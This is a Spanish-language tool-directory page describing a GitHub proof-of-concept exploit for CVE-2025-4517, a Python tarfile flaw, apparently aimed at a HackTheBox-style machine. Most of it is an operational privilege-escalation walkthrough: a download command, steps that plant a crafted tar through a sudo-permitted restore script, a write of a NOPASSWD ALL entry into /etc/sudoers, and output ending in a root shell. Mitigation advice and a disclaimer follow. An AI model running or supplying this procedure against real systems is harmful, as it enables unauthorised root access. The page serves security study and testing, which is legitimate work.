Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-4517-POC — Script de escalada de privilegios para CVE-2025-4517 | Kitploit
Herramientas/GitHubGitHub/azureadtrent/cve-2025-4517-poc
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónCTFAprendizaje y EducaciónExplotación de Binarios
GitHubazureadtrent/cve-2025-4517-poc

CVE-2025-4517-POC

Script de escalada de privilegios para CVE-2025-4517

Ver Repositorio
92hace 6 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Exploit CVE-2025-4517

NOTAS

Este exploit y su descripción están escritos por IA. Si encuentras un error o problema, ¡por favor házmelo saber! Este exploit fue probado y confirmado que funciona. ¡Gracias!

Resumen

Este exploit aprovecha CVE-2025-4517, una vulnerabilidad crítica en el módulo tarfile de Python que permite la escritura arbitraria de archivos mediante una combinación de traversal de ruta con enlaces simbólicos y manipulación de enlaces duros. Esto elude la protección filter="data" introducida en Python 3.12.

Detalles de la Vulnerabilidad

  • ID CVE: CVE-2025-4517
  • Versiones Afectadas: Python 3.8.0 hasta 3.13.1
  • Puntaje CVSS: 9.3 (Crítico)
  • Impacto: Escritura arbitraria de archivos con privilegios elevados

Contexto Técnico

La vulnerabilidad explota un fallo en cómo tarfile.extractall() de Python maneja la interacción entre:

  1. Enlaces Simbólicos - Se usan para crear un traversal de ruta fuera del directorio de extracción
  2. Enlaces Duros - Se usan para referenciar archivos a través de la ruta del enlace simbólico escapado
  3. Elusión del Filtro - El parámetro filter="data" bloquea los escapes directos de enlaces simbólicos, pero la técnica de enlace duro sortea esta protección

Flujo del Ataque

root@kitploit:~
1. Crear directorios profundamente anidados (confusión de ruta)
   └─ Usa nombres de directorio de 247 caracteres repetidos 16 niveles de profundidad
2. Construir cadena de enlaces simbólicos para traversal
   └─ Crea enlaces simbólicos que resuelven hacia arriba a través del árbol de directorios
3. Enlace simbólico de escape al directorio objetivo (/etc)
   └─ El enlace simbólico final apunta fuera del límite de extracción
4. Crear enlace duro apuntando a través del enlace simbólico de escape
   └─ Enlace duro: "sudoers_link" → "escape/sudoers" → "/etc/sudoers"
5. Escribir contenido en el enlace duro
   └─ Escribir en "sudoers_link" realmente escribe en /etc/sudoers

Componente Vulnerable

Script: /opt/backup_clients/restore_backup_clients.py

root@kitploit:~
# Fragmento de código vulnerable
with tarfile.open(backup_path, "r") as tar:
    tar.extractall(path=staging_dir, filter="data")

Permisos de Sudo:

root@kitploit:~
wacky ALL=(root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *

Detalles del Sistema

  • Versión de Python: 3.12.3 (Vulnerable a CVE-2025-4517)

Uso

Requisitos Previos

  • Acceso de usuario con permisos sudo para el script vulnerable
  • Acceso de escritura a /opt/backup_clients/backups/
  • Python 3 en la máquina atacante

Instalación

root@kitploit:~
# Descargar el exploit
wget https://raw.githubusercontent.com/AzureADTrent/CVE-2025-4517-POC/refs/heads/main/CVE-2025-4517-POC.py
# Mover al sistema objetivo

Ejecución Básica

root@kitploit:~
# Ejecutar el exploit
./exploit.py

# O con Python
python3 exploit.py

Paso a Paso Manual

Si prefieres ejecutar cada paso manualmente:

root@kitploit:~
# 1. Crear el tar del exploit
python3 exploit.py --create-only

# 2. Desplegar en el objetivo
cp /tmp/cve_2025_4517_exploit.tar /opt/backup_clients/backups/backup_9999.tar

# 3. Ejecutar a través del script vulnerable
sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py \
  -b backup_9999.tar \
  -r restore_exploit

# 4. Verificar la modificación de sudoers
sudo cat /etc/sudoers | grep "$(whoami)"

# 5. Obtener root
sudo /bin/bash

Ejemplo de Salida

root@kitploit:~
╔═══════════════════════════════════════════════════════════╗
║     Exploit de Tarfile CVE-2025-4517                     ║
║     Escalada de Privilegios vía Evasión de Enlace Simbólico y Duro ║
╚═══════════════════════════════════════════════════════════╝

[*] Usuario objetivo: wacky
[*] Creando tar del exploit para el usuario: wacky
[*] Fase 1: Construyendo estructura de directorios anidados...
[*] Fase 2: Creando cadena de enlaces simbólicos para traversal de ruta...
[*] Fase 3: Creando enlace simbólico de escape a /etc...
[*] Fase 4: Creando enlace duro a /etc/sudoers...
[*] Fase 5: Escribiendo entrada en sudoers...
[+] Tar del exploit creado: /tmp/cve_2025_4517_exploit.tar
[*] Desplegando exploit en: /opt/backup_clients/backups/backup_9999.tar
[+] Exploit desplegado exitosamente
[*] Disparando extracción a través del script vulnerable...
[+] Backup: backup_9999.tar
[+] Directorio de staging: /opt/backup_clients/restored_backups/restore_pwn_9999
[+] Extracción completada en /opt/backup_clients/restored_backups/restore_pwn_9999
[+] Extracción completada
[*] Verificando éxito del exploit...
[+] ¡ÉXITO! Usuario 'wacky' añadido a sudoers
[+] Entrada: wacky ALL=(ALL) NOPASSWD: ALL

============================================================
[+] ¡EXPLOTACIÓN EXITOSA!
[+] El usuario 'wacky' ahora tiene privilegios sudo completos
[+] Obtén root con: sudo /bin/bash
============================================================

[?] ¿Iniciar shell root ahora? (s/n): s
[*] Iniciando shell root...
[*] Ejecuta: sudo /bin/bash

root@box:/tmp# whoami
root
root@box:/tmp# id
uid=0(root) gid=0(root) groups=0(root)

Flujo de Prueba de Concepto

Etapa 1: Acceso Inicial

  • Acceso al usuario

Etapa 2: Escalada de Privilegios (Este Exploit)

  • Identificar permisos sudo en el script de restauración de backups
  • Reconocer la versión de Python vulnerable a CVE-2025-4517
  • Desplegar el exploit tar para modificar /etc/sudoers
  • Obtener acceso root

Mitigación

Para Desarrolladores de Python

  1. Actualizar Python: Actualizar a Python 3.13.2+ o aplicar parches de seguridad
root@kitploit:~
   python3 --version  # Verificar versión
  1. Validación Adicional: Implementar validación estricta del contenido del tar
root@kitploit:~
   # Verificar miembros sospechosos antes de la extracción
   for member in tar.getmembers():
       if member.islnk() or member.issym():
           raise SecurityError("No se permiten enlaces simbólicos/duros")
  1. Restringir Rutas de Extracción: Verificar que todos los archivos extraídos se mantengan dentro de los límites
root@kitploit:~
   import os
   for member in tar.getmembers():
       member_path = os.path.join(extract_path, member.name)
       if not member_path.startswith(os.path.abspath(extract_path)):
           raise SecurityError("Traversal de ruta detectado")

Para Administradores de Sistemas

  1. Limitar Acceso sudo: Minimizar los scripts que pueden ejecutarse como root
root@kitploit:~
   # Eliminar o restringir el acceso sudo al script de backup
   visudo
  1. Validación de Entrada: Validar los archivos tar antes de procesarlos
root@kitploit:~
   # Verificar el contenido del tar antes de la extracción
   tar -tzf archive.tar | grep -E '\.\./|^/'
  1. Monitoreo de Integridad de Archivos: Monitorear archivos críticos como /etc/sudoers
root@kitploit:~
   # Configurar AIDE o un IDS similar
   aide --check
  1. AppArmor/SELinux: Implementar controles de acceso obligatorios

Referencias

Información del CVE

  • CVE-2025-4517 - NVD
  • CVE-2025-4138 - Vulnerabilidad Relacionada
  • Aviso de Seguridad de Python

Investigaciones y Artículos

  • Aviso de Seguridad de Linux
  • Investigación de Seguridad de Google - GHSA-hgqp-3mmf-7h8f

PoCs Públicos

  • DesertDemons CVE-2025-4138-4517-POC
  • StealthByte CVE-2025-4517-poc
  • AnimePrincess420 PoC

Aviso Legal

Este exploit se proporciona solo con fines educativos y está destinado para su uso en:

  • Compromisos de pruebas de penetración autorizados
  • Competiciones Capture The Flag (CTF) como HackTheBox
  • Investigación de seguridad en entornos controlados
  • Divulgación de vulnerabilidades y desarrollo de parches

El/los autor(es) no asumen ninguna responsabilidad por el mal uso de este código.

Investigación Original: Múltiples investigadores de seguridad (ver Referencias)

Licencia

Licencia MIT - Ver archivo LICENSE para más detalles


Última Actualización: Marzo 2026

Descargar herramienta